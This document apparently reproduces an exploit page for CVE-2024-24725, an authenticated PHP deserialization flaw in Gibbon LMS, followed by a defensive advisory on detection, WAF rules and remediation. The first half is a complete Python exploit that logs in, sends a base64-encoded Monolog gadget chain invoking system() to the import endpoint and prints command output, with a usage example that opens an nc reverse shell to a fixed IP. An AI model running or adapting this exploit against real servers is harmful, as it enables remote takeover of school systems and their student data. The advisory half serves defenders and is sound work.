Gibbon LMS < v26.0.00 - Authenticated RCE
# Exploit Title: Gibbon LMS has a PHP Deserialization vulnerability on the v26.0.00 version
# Date: 22.01.2024
# Exploit Author: SecondX.io Research Team(Ali Maharramli,Fikrat Guliev,Islam Rzayev )
# Vendor Homepage: https://gibbonedu.org/
# Software Link: https://github.com/GibbonEdu/core
# Version: v26.0.00
# Tested on: Ubuntu 22.0
# CVE : CVE-2024-24725
import requests
import re
import sys
import base64
import urllib.parse
def login(target_host, target_port,email,password):
url = f'http://{target_host}:{target_port}/login.php?timeout=true'
headers = {"Content-Type": "multipart/form-data; boundary=---------------------------174475955731268836341556039466"}
data = f"-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\ndefault\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n{email}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n{password}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibbonSchoolYearID\"\r\n\r\n025\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibboni18nID\"\r\n\r\n0002\r\n-----------------------------174475955731268836341556039466--\r\n"
r = requests.post(url, headers=headers, data=data, allow_redirects=False)
print(url)
print(r.headers)
Session_Cookie = re.split(r"\s+", r.headers['Set-Cookie'])
if Session_Cookie[4] is not None and '/index.php' in str(r.headers['Location']):
print("[X] Login successful!")
return Session_Cookie[4]
def generate_payload(command):
# Given base64-encoded string
### Actual Payload:
### a:2:{i:7%3BO:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"%00*%00socket"%3BO:29:"Monolog\Handler\BufferHandler":7:{s:10:"%00*%00handler"%3Br:3%3Bs:13:"%00*%00bufferSize"%3Bi:-1%3Bs:9:"%00*%00buffer"%3Ba:1:{i:0%3Ba:2:{i:0%3Bs:COMMAND_SIZE:"COMMAND"%3Bs:5:"level"%3BN%3B}}s:8:"%00*%00level"%3BN%3Bs:14:"%00*%00initialized"%3Bb:1%3Bs:14:"%00*%00bufferLimit"%3Bi:-1%3Bs:13:"%00*%00processors"%3Ba:2:{i:0%3Bs:7:"current"%3Bi:1%3Bs:6:"system"%3B}}}i:7%3Bi:7%3B}
base64_encoded_string = 'YToyOntpOjclM0JPOjMyOiJNb25vbG9nXEhhbmRsZXJcU3lzbG9nVWRwSGFuZGxlciI6MTp7czo5OiIlMDAqJTAwc29ja2V0IiUzQk86Mjk6Ik1vbm9sb2dcSGFuZGxlclxCdWZmZXJIYW5kbGVyIjo3OntzOjEwOiIlMDAqJTAwaGFuZGxlciIlM0JyOjMlM0JzOjEzOiIlMDAqJTAwYnVmZmVyU2l6ZSIlM0JpOi0xJTNCczo5OiIlMDAqJTAwYnVmZmVyIiUzQmE6MTp7aTowJTNCYToyOntpOjAlM0JzOkNPTU1BTkRfU0laRToiQ09NTUFORCIlM0JzOjU6ImxldmVsIiUzQk4lM0J9fXM6ODoiJTAwKiUwMGxldmVsIiUzQk4lM0JzOjE0OiIlMDAqJTAwaW5pdGlhbGl6ZWQiJTNCYjoxJTNCczoxNDoiJTAwKiUwMGJ1ZmZlckxpbWl0IiUzQmk6LTElM0JzOjEzOiIlMDAqJTAwcHJvY2Vzc29ycyIlM0JhOjI6e2k6MCUzQnM6NzoiY3VycmVudCIlM0JpOjElM0JzOjY6InN5c3RlbSIlM0J9fX1pOjclM0JpOjclM0J9'
command_size = len(command)
# Decode base64
decoded_bytes = base64.b64decode(base64_encoded_string)
decoded_string = decoded_bytes.decode('utf-8')
# URL decode
payload = urllib.parse.unquote(decoded_string)
# Replace placeholders in the decoded string
payload = payload.replace('COMMAND_SIZE', str(command_size))
payload = payload.replace('COMMAND', command)
print("[X] Payload Generated!")
return payload
def rce(cookie, target_host, target_port, command):
url = f'http://{target_host}:{target_port}/index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'
headers = {"Content-Type": "multipart/form-data; boundary=---------------------------104550429928543086952438317710","Cookie": cookie}
payload = generate_payload(command)
data = f'-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="address"\r\n\r\n/modules/System Admin/import_run.php\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="mode"\r\n\r\nsync\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="syncField"\r\n\r\nN\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="syncColumn"\r\n\r\n\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="columnOrder"\r\n\r\n{payload}\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:form-data; name="columnText"\r\n\r\nN;\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="fieldDelimiter"\r\n\r\n%2C\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="stringEnclosure"\r\n\r\n%22\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="filename"\r\n\r\nDataStructure-externalAssessment.xlsx\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="csvData"\r\n\r\n"External Assessment","Assessment Date","Student","Field Name Category","Field Name","Result"\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="ignoreErrors"\r\n\r\n1\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="Failed"\r\n\r\nSubmit\r\n-----------------------------104550429928543086952438317710--'
r = requests.post(url, headers=headers, data=data, allow_redirects=False)
print("[X] Request sent!")
start_index = r.text.find("<h2>Step 4 - Live Run</h2>")
end_index = r.text.find("<div class", start_index)
result = r.text[start_index+26:end_index].strip()
if result != '':
print("[X] Execution result: \n"+result)
else:
print("[X] Command failed or did not output anything.")
with open("pocresponse.html", "wb") as f:
f.write(r.content)
if __name__ == '__main__':
if len(sys.argv) != 6:
print("[X] Usage: script.py <target_host> <target_port/url> <email> <password> <command>")
print("[X] Example: python gibbon_rce.py 192.168.1.100 80/gibbon test.email@localhost.com password1 \"./nc -e /bin/bash 172.28.218.3 4444\"")
sys.exit(1)
cookie = login(sys.argv[1], sys.argv[2],sys.argv[3],sys.argv[4])
rce(cookie, sys.argv[1], sys.argv[2], sys.argv[5]) Gibbon LMS < v26.0.00 — Authenticated PHP Deserialization Leading to RCE (CVE-2024-24725)
Executive summary
A PHP deserialization vulnerability affecting Gibbon Learning Management System (LMS) versions prior to v26.0.00 (tracked as CVE-2024-24725) allows an authenticated user with access to certain import functionality to submit crafted serialized data that can trigger object instantiation and execution paths in server-side code, resulting in remote code execution (RCE). This article explains the technical nature of the weakness at a high level, how defenders can detect exploitation attempts, mitigations and patches to apply, and secure development practices to prevent similar issues.
At-a-glance
| Item | Detail |
|---|---|
| Vulnerability type | PHP object deserialization / object injection |
| Affected product | Gibbon LMS < v26.0.00 |
| CVE | CVE-2024-24725 |
| Impact | Authenticated remote code execution (high) |
| Primary mitigation | Apply vendor-supplied patch / upgrade to fixed release; restrict affected functionality |
How the vulnerability works (high-level, non-actionable)
PHP applications that call unserialize() on attacker-controllable data risk "object injection" when the application includes classes with magic methods (for example, __destruct, __wakeup, __toString) or other code paths that act on object state. An attacker who can submit a serialized object may control its properties and trigger execution of those magic methods or cause the application to process injected data in dangerous ways. When chains of available classes and methods allow an attacker to reach code that executes system commands, file writes, or includes, the result can be remote code execution (RCE).
In web applications, such deserialization sinks are often reachable from file-upload, import, or API endpoints where structured data is accepted. Gibbon's vulnerability originates from processing user-supplied import parameters (authenticated access required) that are deserialized by server-side code. The deserialized object graph can include object types from libraries bundled with the application; those types can act as "gadgets" in a gadget chain that leads to code execution.
Why this is critical
- RCE enables complete takeover of the application host and lateral movement.
- Exploitability is higher than many other flaws because the attacker needs only authenticated access to the import functionality — many deployments have multiple accounts capable of accessing import features (administrators, teachers, support).
- Deserialization gadget chains are often reusable across apps that include the same libraries, increasing the attack surface when common libraries are present.
Indicators of compromise (IoCs) and detection guidance
Defenders should focus on monitoring attempts to interact with import endpoints, requests containing serialized data patterns, unusual base64-encoded POST values, and unexpected behavior from services that typically do not execute arbitrary input (new processes, unusual outbound connections, web shell artifacts).
- Look for POST requests to import-related endpoints such as paths containing import_run.php, import, upload, or modules/System Admin/.
- Search access logs and application logs for long POST parameter values that start with serialization signatures (e.g., "a:" for arrays, "O:" for objects).
- Detect encoded NUL bytes (URL-encoded %00) or long sequences of encoded control characters in POST bodies or parameter values — these are commonly used to represent object properties and class names in serialized payloads.
- Monitor process lists and outbound connections for unexpected reverse connections or spawned interpreters after suspicious web activity.
# Example: search web server logs for POST activity against known import endpoint names
# (defensive use only — tailor paths to your deployment)
grep -E "POST .*(/index.php.*import_run.php|/modules/System Admin/import_run.php)" /var/log/apache2/access.log /var/log/nginx/access.log
This grep looks for POST requests against likely import endpoints; it helps find suspects to inspect further. Replace log paths with your environment's log locations.
# Example: detect serialized PHP payloads in request bodies or parameters (defensive detection)
# This searches for common serialized prefixes in application logs or captured request bodies.
grep -E "([\"']a:[0-9]+:|[\"']O:[0-9]+:)" /var/log/httpd/your_app_request_bodies.log
Explanation: PHP serialized arrays and objects often start with tokens like "a:NN:" or "O:NN:". This simple heuristic can yield false positives and should be tuned for your environment.
Immediate mitigation steps (for administrators)
- Apply the official vendor patch or upgrade to the fixed release as soon as it is available from the Gibbon project or your vendor.
- If a patch cannot be applied immediately, restrict access to the import functionality by limiting which accounts can access it (use network or application-level access control) or disable the module until you can patch.
- Harden administrative interfaces: restrict access to administrative pages by IP, apply multi-factor authentication, and review role assignments to reduce the number of accounts that can reach vulnerable paths.
- Deploy or update WAF/IPS rules to flag or block suspicious POST parameters containing serialized data patterns or encoded NUL sequences (examples below).
- Rotate credentials and API keys used by administrative accounts if you detect suspicious activity or signs of compromise.
- Preserve logs and take forensic snapshots before making changes if you suspect exploitation.
Example WAF rule (conceptual, defensive)
# Conceptual ModSecurity rule to flag POSTs with serialized object/array indicators
# Note: tune and test in logging-only mode before blocking to avoid false positives.
SecRule REQUEST_METHOD "POST" "chain,phase:2,log,msg:'Potential PHP serialized payload in POST data',id:1000001"
SecRule ARGS|REQUEST_BODY "@rx (a:[0-9]+:|O:[0-9]+:|%00)" "t:none,log,pass"
Explanation: This rule demonstrates a defensive pattern: detect PHP serialized strings or URL-encoded NUL bytes. It is intended as a detection rule; testing and tuning are required before any blocking action to avoid disrupting legitimate traffic.
Secure development and remediation guidance (for developers)
If your application currently deserializes data from any untrusted source, take these precautions:
- Avoid calling unserialize() on untrusted input. Prefer JSON (json_encode/json_decode) or other safe formats with explicit parsing rules.
- If unserialize() is unavoidable, use the allowed_classes option in PHP to restrict which classes can be instantiated:
// Defensive example: using allowed_classes to prevent object instantiation
// Only use this when absolutely necessary — prefer avoiding unserialize() on untrusted data.
$data = $_POST['payload'] ?? '';
$opts = ['allowed_classes' => false]; // disallow all classes, only arrays and scalars allowed
$unserialized = @unserialize($data, $opts);
if ($unserialized === false && $data !== 'b:0;') {
// handle deserialization error safely
}
Explanation: Passing ['allowed_classes' => false] to unserialize prevents instantiation of any objects, so only arrays/scalars are returned. This limits the potential for gadget chains. Note that this is a defensive measure — the best approach is to avoid deserialization of untrusted data entirely.
- Use HMAC signing for any serialized tokens you must accept from clients. Verify the signature before deserializing so you can detect tampering.
- Keep third-party libraries (e.g., Monolog, other utility libraries) up to date; many gadget chains rely on specific library behavior that is often fixed in downstream releases.
- Audit any code paths that perform file operations, process execution, or include/require based on external input and sanitize or eliminate them.
Forensic and incident response checklist
- Isolate affected hosts from the network if there is credible evidence of compromise.
- Preserve web server logs, application logs, and any captured request bodies for investigation.
- Look for indicators such as new files in web directories, unexpected scheduled tasks, unusual user accounts, new SSH keys, or outbound network connections to unknown IPs.
- Check for anomalous processes and network listeners. Example commands (defensive):
# Defensive example commands — use as part of a forensic checklist
ss -tulpen # list listening sockets and their owners
ps aux --sort=-start_time | head -n 40 # look for recently started processes
# Check for files modified recently in webroot
find /var/www -type f -mtime -7 -ls
Explanation: These commands help locate recent changes and active network connections. They are common forensic checks but should be used in the context of an incident response plan and with appropriate approvals.
Longer-term hardening and best practices
- Minimize the number of libraries available for gadget chains by limiting unnecessary dependencies.
- Adopt a secure coding standard that forbids deserializing arbitrary user-controlled data.
- Implement strong role-based access controls and least privilege on all administrative functions.
- Run regular dependency scanning and patching processes; integrate software composition analysis (SCA) into CI/CD.
- Use runtime defenses such as WAFs and endpoint detection solutions to detect and contain exploitation attempts quickly.
What administrators should do now
- Check Gibbon project notifications and apply the official patch or upgrade to a fixed version provided by the vendor.
- Restrict access to import functionality until patched and monitor logs for any signs of suspicious activity.
- Implement detection rules (WAF/IDS) to catch serialized payloads targeting import endpoints and tune them carefully.
- If exploitation is suspected, follow your incident response playbook: contain, preserve evidence, remediate, and notify affected stakeholders according to policy and law.
References and further reading
- Gibbon official project pages and GitHub repository (monitor for vendor advisories and patches).
- OWASP guidance on insecure deserialization and secure coding practices.
- PHP documentation for unserialize() and the allowed_classes option.